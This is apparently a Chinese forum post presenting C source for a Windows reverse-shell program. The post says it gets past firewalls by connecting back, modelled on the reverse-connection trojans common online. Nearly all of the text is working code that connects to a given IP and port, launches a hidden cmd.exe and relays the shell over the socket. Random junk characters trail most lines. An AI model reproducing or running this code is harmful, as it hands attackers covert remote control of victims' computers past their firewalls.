这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 [@x
?~{rf:Y
/* ============================== Z`|> tbOfZ
Rebound port in Windows NT $f9 ,##/
By wind,2006/7 <Nvlk\LQ
===============================*/ nM=2"`@$
#include 3F;EE:
#include [1e.i
$x/J+9Ww
#pragma comment(lib,"wsock32.lib") 3Sk5I%
EkDws`@
void OutputShell(); GpScc'a7
SOCKET sClient; wE)]
ah:
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; )7tV*=?Ic8
e<kpcF5{\
void main(int argc,char **argv) XadG\_?t`
{ .[#xQ=9`
WSADATA stWsaData; K6ciqwUO
int nRet; YcPKM@xo
SOCKADDR_IN stSaiClient,stSaiServer; \m@]G3=]
/FoUo
if(argc != 3) $ V3n~.=
{ )gL&
printf("Useage:\n\rRebound DestIP DestPort\n");
xAeZ7. Q&
return; bOi};/f
} | h
}5QZ6i#
WSAStartup(MAKEWORD(2,2),&stWsaData); BDWim`DK"
pHigxeV2
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); u<$S>
/5&3WG&<u
stSaiClient.sin_family = AF_INET; o7m99(
stSaiClient.sin_port = htons(0); 6Wf*>G*h
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); v`@5enr
]6jHIk|
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) /j`i/Ha1
{ Og_2k
~
printf("Bind Socket Failed!\n"); M?QQr~a
return; 7YoofI
} ~ W2:NQ>i
9yO{JgKA
stSaiServer.sin_family = AF_INET; qn5yD!1
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); @?'t@P:4
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);
~JAH-R
#8P#^v]H
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 1'(_>S5CG
{ .`:oP&9r
printf("Connect Error!"); 'm
return; BERn _5gb
} <\B],M1=s=
OutputShell(); VaOpO8y`
} AN|jFSQ'
4he v
;
void OutputShell() Z&AHM &,yj
{ Np|:dP9#}
char szBuff[1024]; =>gyc;{2K<
SECURITY_ATTRIBUTES stSecurityAttributes; }IxY(`:qs
OSVERSIONINFO stOsversionInfo; 7}. #Z
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; >1#DPU(g
STARTUPINFO stStartupInfo; lCM6T;2ID
char *szShell; 9O(i+fM
PROCESS_INFORMATION stProcessInformation; sURUQ H
unsigned long lBytesRead; c#]'#+aH
2U-#0,ll]
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ls8olLM>
e[d7UV[Knn
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Zkwy.Hq^
stSecurityAttributes.lpSecurityDescriptor = 0; 2+c>O%L
stSecurityAttributes.bInheritHandle = TRUE; M Ak-=?t
/vFxVBX
$O;N/N:m
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); T%M1[<"Q
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); C:|q'"F
j1'xp`jgv
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo));
z*??YUT\M
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X
,V= od>
stStartupInfo.wShowWindow = SW_HIDE; GC5#1+fQ
stStartupInfo.hStdInput = hReadPipe; U89]?^|bb
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; :F!dTD$
EM>c%BH<N
GetVersionEx(&stOsversionInfo); f;@b
a[
u|_ITwk
switch(stOsversionInfo.dwPlatformId) SX1Fyy6
w
{ T! &[
case 1: rahHJp.Ws
szShell = "command.com"; 7Va#{Y;Zy
break;
n?<#
{$
default: .N2nJ/
szShell = "cmd.exe"; ZuF4N=;
break; ECmHy@(
} $71D)*{P
:IP;FrcMP
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); $S($97IU=
`? 9]'
send(sClient,szMsg,77,0); Z9;nC zHm
while(1) <3],C)Zwc
{ =F^->e0N
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); tk3<sr"IQ
if(lBytesRead) Cu)%s
{ z[0LU]b<
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); q/ d5P
send(sClient,szBuff,lBytesRead,0); 1pYmtr
} D@sx`H(
else `JY>v io
{ bJG!)3cx
lBytesRead=recv(sClient,szBuff,1024,0); b]tA2~e
if(lBytesRead<=0) break; n]6}yJJo
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); i5>J
} E7Gi6w~\
} 84hi, S5P
>[E|p6jgT
return; ei|*s+OZu
}